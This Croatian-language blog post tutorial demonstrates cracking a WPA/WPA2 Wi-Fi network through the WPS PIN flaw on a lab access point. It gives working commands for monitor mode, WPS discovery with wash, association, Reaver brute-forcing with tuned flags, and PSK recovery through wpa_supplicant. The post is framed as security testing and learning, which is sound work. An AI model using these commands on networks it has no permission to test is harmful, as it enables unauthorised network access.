Bežične mreže zaštićene sa WPA/WPA2 su puno sigurnije od mreža koje koriste WEP, no u slučaju korštenja kratkih passworda ili često korištenih riječi podložne su brute force napadima. Kod korištenja dugih passworda brute forcing prestaje biti praktičan zbog broja kombinacija i vremena koje bi bilo potrebno za probijanje. No, velika količina SOHO routera i AP-ova koji su popularni u našim krajevima (npr WRG54G2) dolaze sa uključenim WPS-om i ponekad nemogućnošću isključivanja.
Što je WPS? WPS ili Wi-Fi Protected Setup je pojednostavljeni način konfiguracije sigurnosnih postavki na Wi-Fi mrežama. Kao što je pokazao
whitepaper Stefana Viehböcka radi se o protokolu s nekoliko mana koje omogućavaju brute forcing WPA/WPA2 mreža u puno kraćem vremenu, satima i danima umjesto mjesecima ili godinama u slučaju dugih passworda.
Testiranje
Za testiranje ranjivosti koristiti ćemo popularnu distribuciju Backtrack 5 R2 te Asus Eee 1000HE na kojem za razliku od prijašnjih Backtrack distribucija u ovoj zadnjoj sve radi bez potrebe za skidanjem dodatnih drivera, pogotovo za Ralink rt2860 b/g/n karticu. Kod samog testiranja mreže preporuka je biti što bliže AP-u da nemate problema s jačinom signala.
Popularni alat za bruteforcing WPS-a je
Reaver koji je potrebno skinuti, otpakirati i kompajlirati.
Reaver ima odličnu mogućnost nastavljanja napada u slučaju prekida (npr. presumnjivi ste sjedeći nekoliko sati blizu mete testiranja).
Započeti ćemo prebacivanjem wifi kartice u monitor mod rada:
airmon-ng start wlan0
Nakon toga sve operacije radimo na interfaceu mon0 koji imamo nakon ove naredbe.
Koristiti ćemo Reaver 1.4 set alata koji je zadnja verzija u trenutku pisanja ovog bloga iako ta verzija ima nekih manjih problema no sve je moguće odraditi i sa njom.
Za otkrivanje da li AP koristi WPS možemo koristiti alat po imenu wash koji je dio Reavera. (-C ignorira checksum greške koji su se u ovom testu javljali)
wash -i mon0 -C
Vrlo jednostavno vidimo da li mreža koju trebamo testirati podržava WPS.
Nakon toga potrebno se asocirati na AP preko njegovog BSSID-a, to je prije Reaver radio ok ali u trenutnoj verziji ima problema pa ćemo koristiti dio aircrack seta alata:
aireplay-ng -1 120 -a 00:11:22:33:44:55 mon0
Gdje je
00:11:22:33:44:55 BSSID naše mete:
Kada smo asocirani, možemo pokrenuti Reaver:
reaver -i mon0 -b 00:11:22:33:44:55
Što bi teoretski trebalo pokrenuti Reaver i probijanje PIN-a no pošto se svaki tip AP-a ponaša drugačije vjerovatno će biti potrebno modificirati naredbu za pokretanje. U našem konkretnom slučaju to je bilo:
reaver -i mon0 -b 00:11:22:33:44:55 -d 2 -c 9 -vv --no-ack --no-associate --win7
sa dodanim -vv za dodatni verbosity. Ostale opcije ostavljam da ih sami istražite :)
Nakog nekog vremena dobijemo PIN ali ne i WPA PSK password zbog buga u verziji 1.4:
Sada kada imamo pin, workaroundom preko wpa_supplicanta ćemo doći do PSK-a.
Potrebno je kreirati osnovni wpa_supplicant.conf:
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
Zatim, potrebno je pokrenuti wpa_supplicant:
wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.conf –B
Nakon toga je potrebno pokrenuti wpa_cli te upisati BSSID te pin:
wps_reg 00:11:22:33:44:55 12345678
wpa_suplicant će se pokušati i uspjeti spojiti, te generirati konfiguraciju u svom conf fileu za mrežu na koju se spajamo, što uključuje i WPA-PSK password, conf file bi trebao imati ovakav novi dio:
network={
ssid="labtest"
bssid=00:11:22:33:44:55
psk="passzalabtestiranje"
key_mgmt=WPA-PSK
auth_alg=OPEN
}
Te smo uspješno došli do passworda.
Koraci neće biti identični za svaki AP no i ideja je da se cijelo vrijeme uči nove stvari.
